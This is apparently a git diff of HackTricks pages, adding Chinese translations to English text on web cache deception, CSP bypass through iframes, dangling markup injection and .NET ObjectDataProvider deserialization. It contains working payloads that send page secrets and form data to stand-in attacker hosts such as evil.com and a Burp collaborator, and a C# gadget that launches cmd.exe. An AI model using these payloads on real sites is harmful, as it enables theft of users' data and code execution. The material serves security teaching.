- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa``/account/MyAccount`).
- **分号**在Spring中用于矩阵变量例如 `/hello;var=a/world;var1=b;var2=c``/hello/world`)。
- **点**在Ruby on Rails中指定响应格式例如 `/MyAccount.css``/MyAccount`)。
- **空字节**在OpenLiteSpeed中截断路径例如 `/MyAccount%00aaa``/MyAccount`)。
- **换行字节**在Nginx中分隔URL组件例如 `/users/MyAccount%0aaaa``/account/MyAccount`)。
Other specific delimiters might be found following this process:
在此过程中可能会发现其他特定的分隔符:
- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled.
- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter.
- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage.
- **步骤1**识别不可缓存的请求并使用它们监控潜在分隔符的URL处理方式。
- **步骤2**:将随机后缀附加到路径,并比较服务器的响应以确定字符是否作为分隔符。
- **步骤3**:在随机后缀之前引入潜在分隔符,以查看响应是否发生变化,指示分隔符的使用。
## Normalization & Encodings
- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys.
- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments.
- **目的**缓存和源服务器中的URL解析器规范化URL以提取路径以进行端点映射和缓存键。
- **过程**:识别路径分隔符,通过解码字符和删除点段提取并规范化路径。
### **Encodings**
Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam``/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.&#x20;
不同的HTTP服务器和代理如Nginx、Node和CloudFront以不同方式解码分隔符导致CDN和源服务器之间的不一致这可能被利用。例如如果Web服务器执行此转换 `/myAccount%3Fparam``/myAccount?param`,但缓存服务器将路径 `/myAccount%3Fparam` 作为键保留,则存在不一致。&#x20;
A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response.
检查这些不一致的一种方法是发送请求URL编码不同的字符在加载路径而不进行任何编码后检查编码路径的响应是否来自缓存响应。
### Dot segment
The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\
Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested.
涉及点的路径规范化对于缓存中毒攻击也非常有趣。例如,`/static/../home/index``/aaa..\home/index`,一些缓存服务器将这些路径缓存为它们自己作为键,而其他服务器可能解析路径并使用 `/home/index` 作为缓存键。\
就像之前一样,发送这些请求并检查响应是否来自缓存有助于识别对 `/home/index` 的响应是否是请求这些路径时发送的响应。
## Static Resources
Several cache servers will always cache a response if it's identified as static. This might be because:
如果响应被识别为静态,多个缓存服务器将始终缓存该响应。这可能是因为:
- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home`
- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared
- It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home`
- **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home`
- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`.
- **扩展名**Cloudflare将始终缓存以下扩展名的文件7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- 可以通过使用分隔符和静态扩展强制缓存存储动态响应,例如请求 `/home$image.png` 将缓存 `/home$image.png`,而源服务器将响应 `/home`
- **知名静态目录**:以下目录包含静态文件,因此其响应应被缓存:/static, /assets, /wp-content, /media, /templates, /public, /shared
- 可以通过使用分隔符、静态目录和点强制缓存存储动态响应,例如:`/home/..%2fstatic/something` 将缓存 `/static/something`,而响应将是 `/home`
- **静态目录 + 点**:请求 `/static/..%2Fhome``/static/..%5Chome` 可能会按原样缓存,但响应可能是 `/home`
- **静态文件**:一些特定文件始终被缓存,如 `/robots.txt``/favicon.ico``/index.html`。这可以被滥用,例如 `/home/..%2Frobots.txt`,其中缓存可能存储 `/robots.txt`,而源服务器响应 `/home`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,14 @@
{{#include ../../banners/hacktricks-training.md}}
A configuration such as:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
禁止使用任何作为字符串传输的代码执行函数。例如:`eval, setTimeout, setInterval` 将因设置 `unsafe-eval` 而被阻止。
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
来自外部来源的任何内容也会被阻止包括图像、CSS、WebSockets尤其是 JS。
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
### Via Text & Images
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
### 通过文本和图像
观察到现代浏览器将图像和文本转换为 HTML 以增强其显示效果(例如,设置背景、居中等)。因此,如果通过 `iframe` 打开图像或文本文件,例如 `favicon.ico``robots.txt`,它将作为 HTML 渲染。值得注意的是,这些页面通常缺少 CSP 头,并且可能不包含 X-Frame-Options从而允许从中执行任意 JavaScript
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
@ -22,11 +17,9 @@ script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### 通过错误
### Via Errors
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
类似地错误响应如文本文件或图像通常没有CSP头并且可能省略X-Frame-Options。可以诱导错误在iframe中加载从而允许以下操作
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
@ -40,28 +33,24 @@ document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
document.cookie = i + "="
}
```
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
在触发上述任何场景后可以通过以下方式在iframe中实现JavaScript执行
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## References
## 参考
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,139 +4,114 @@
## Resume
This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
此技术可用于在发现**HTML注入**时从用户提取信息。如果你**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
如果某些**秘密以明文形式保存在HTML中**,并且你想从客户端**提取**它,或者如果你想误导某些脚本执行,这也很有用。
Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
这里评论的几种技术可以通过以意想不到的方式html标签、CSS、http-meta标签、表单、base等提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
## Main Applications
### Stealing clear text secrets
If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
如果你在页面加载时注入`<img src='http://evil.com/log.cgi?`,受害者将向你发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中,你将窃取它(你可以使用双引号做同样的事情,看看哪个更有趣)。
如果`img`标签被禁止例如由于CSP你也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
请注意,**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**,因此您可以尝试其他协议方案,如 "ftp"。
Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS `@import` (will send all the code until it find a ";")
您还可以滥用 CSS `@import`(将发送所有代码,直到找到 ";"
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
You could also use **`<table`**:
您还可以使用 **`<table`**
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为基本标签将更改链接指向的域):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Stealing forms
### 偷取表单
```html
<base href="http://evil.com/" />
```
Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.
然后,发送数据到路径的表单(如 `<form action='update_profile.php'>`)将把数据发送到恶意域名。
### Stealing forms 2
Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
设置表单头:`<form action='http://evil.com/log_steal'>` 这将覆盖下一个表单头,所有来自表单的数据将被发送给攻击者。
### Stealing forms 3
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
按钮可以通过属性 "formaction" 更改信息将要发送的表单的 URL
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
I get consumed!
</button>
```
攻击者可以利用这一点窃取信息。
An attacker can use this to steal the information.
在这个[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Stealing clear text secrets 2
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
### 窃取明文秘密 2
使用最新提到的技术窃取表单(注入新的表单头),然后可以注入一个新的输入字段:
```html
<input type='hidden' name='review_body' value="
```
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个关闭的`</option>`都会被发送:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### 表单参数注入
### Form parameter injection
You can change the path of a form and insert new values so an unexpected action will be performed:
您可以更改表单的路径并插入新值,以便执行意外的操作:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### 通过 noscript 偷取明文秘密
### Stealing clear text secrets via noscript
`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
`<noscript></noscript>` 是一个标签,其内容将在浏览器不支持 JavaScript 时被解释(您可以在 [chrome://settings/content/javascript](chrome://settings/content/javascript) 中启用/禁用 JavaScript
一种将从注入点到页面底部的网页内容导出到攻击者控制的网站的方法是注入以下内容:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### 通过用户交互绕过CSP
### Bypassing CSP with user interaction
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
从这个 [portswiggers研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到,即使在 **最严格的CSP** 环境中,你仍然可以通过一些 **用户交互****提取数据**。在这种情况下,我们将使用以下有效载荷:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
请注意,您将要求**受害者**点击一个**链接**,该链接将**重定向**他到您控制的**有效载荷**。还要注意,**`base`**标签中的**`target`**属性将包含**HTML内容**,直到下一个单引号。\
这将使得如果点击链接,**`window.name`**的**值**将是所有的**HTML内容**。因此,由于您**控制**受害者通过点击链接访问的页面,您可以访问该**`window.name`**并**提取**该数据:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### 误导性脚本工作流程 1 - HTML 命名空间攻击
### Misleading script workflow 1 - HTML namespace attack
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
在 HTML 中插入一个带有 id 的新标签,该标签将覆盖下一个标签,并且其值将影响脚本的流程。在此示例中,您正在选择与谁共享信息:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -145,11 +120,9 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### 误导性脚本工作流 2 - 脚本命名空间攻击
### Misleading script workflow 2 - Script namespace attack
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后,这个变量将影响应用程序的流程:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
@ -157,85 +130,74 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Abuse of JSONP
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
如果你发现一个 JSONP 接口,你可能能够调用一个任意函数并传递任意数据:
```html
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
set_sharing({ ... })
```
Or you can even try to execute some javascript:
或者你甚至可以尝试执行一些javascript
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframe 滥用
### Iframe abuse
A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
子文档能够查看和修改其父文档的 `location` 属性,即使在跨源情况下。这允许在 **iframe** 中嵌入一个脚本,可以将客户端重定向到任意页面:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
这可以通过类似于:`sandbox=' allow-scripts allow-top-navigation'` 来缓解。
This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
iframe 也可以被滥用来泄露来自不同页面的敏感信息 **使用 iframe name 属性**。这是因为你可以创建一个 iframe它自身嵌套 iframe利用 HTML 注入使 **敏感信息出现在 iframe name 属性中**,然后从初始 iframe 访问该名称并泄露它。
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
有关更多信息,请查看 [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta 滥用
### \<meta abuse
您可以使用 **`meta http-equiv`** 执行 **多个操作**,例如设置 Cookie`<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向(在这种情况下为 5 秒):`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
这可以通过 **CSP****避免**,涉及 **http-equiv**`Content-Security-Policy: default-src 'self';``Content-Security-Policy: http-equiv 'self';`
This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
### New \<portal HTML tag
You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
### 新的 \<portal HTML 标签
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的 **有趣研究**。\
在撰写本文时,您需要在 `chrome://flags/#enable-portals` 中启用 portal 标签,否则它将无法工作。
```html
<portal src='https://attacker-server?
```
### HTML 漏洞
### HTML Leaks
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
并非所有在 HTML 中泄露连接的方式都对 Dangling Markup 有用,但有时它可能会有所帮助。请在这里查看它们: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
这是 **dangling markup 和 XS-Leaks** 之间的 **混合**。一方面,漏洞允许在 **同源** 的页面中 **注入 HTML**(但不包括 JS。另一方面我们不会直接 **攻击** 可以注入 HTML 的页面,而是 **另一个页面**
{{#ref}}
ss-leaks.md
@ -243,17 +205,17 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search are oriented to **exfiltrate cross-origin information** abusing **side channel attacks**.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like [**CSS Injection**](../xs-search/#css-injection) or [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search 旨在 **提取跨源信息**,利用 **侧信道攻击**。因此,这是一种不同于 Dangling Markup 的技术,然而,一些技术利用了 HTML 标签的包含(有和没有 JS 执行),如 [**CSS 注入**](../xs-search/#css-injection) 或 [**懒加载图像**](../xs-search/#image-lazy-loading)**。**
{{#ref}}
../xs-search/
{{#endref}}
## Brute-Force Detection List
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
## References
## 参考文献
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
@ -261,4 +223,3 @@ XS-Search are oriented to **exfiltrate cross-origin information** abusing **side
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
**查看帖子 [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -1,70 +1,67 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# 基本 .Net 反序列化 (ObjectDataProvider 小工具, ExpandedWrapper 和 Json.Net)
{{#include ../../banners/hacktricks-training.md}}
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
这篇文章致力于**理解如何利用 ObjectDataProvider 小工具**来获得 RCE以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
## ObjectDataProvider Gadget
## ObjectDataProvider 小工具
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
根据文档_ObjectDataProvider 类包装并创建一个可以用作绑定源的对象。_\
是的,这个解释很奇怪,所以让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**使用_**MethodParameters**_来**设置任意参数,**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数**的**函数**。
### **How is this possible**
### **这怎么可能**
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
**System.Windows.Data** 命名空间在 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 中定义和实现了 ObjectDataProvider。
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到的是 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
![](<../../images/image (427).png>)
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
如你所见,当 `MethodName` 被设置时,调用了 `base.Refresh()`,让我们看看它的作用:
![](<../../images/image (319).png>)
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
好的,让我们继续看看 `this.BeginQuery()` 的作用。`BeginQuery``ObjectDataProvider` 重写,以下是它的作用:
![](<../../images/image (345).png>)
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
注意在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么:
![](<../../images/image (596).png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
注意这不是 `QueryWorker` 函数的完整代码,但它展示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`**,这是**方法集被调用**的那一行。
如果你想检查仅设置_**MethodName**_\*\*就会被执行\*\*,你可以运行以下代码:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
注意,您需要添加作为引用的 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
使用之前的漏洞,将会有一些情况,其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer对象是通过 `GetType` 反序列化的)。然后,将对 _ObjectDataProvider_ 实例中所包装的 **对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
这个类允许 **指定封装在给定实例中的对象的类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这对于之前提出的情况非常有用,因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中,并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行**_**MethodName**_ 中指示的 **函数**
您可以使用以下代码检查这个包装器:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -72,29 +69,27 @@ using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
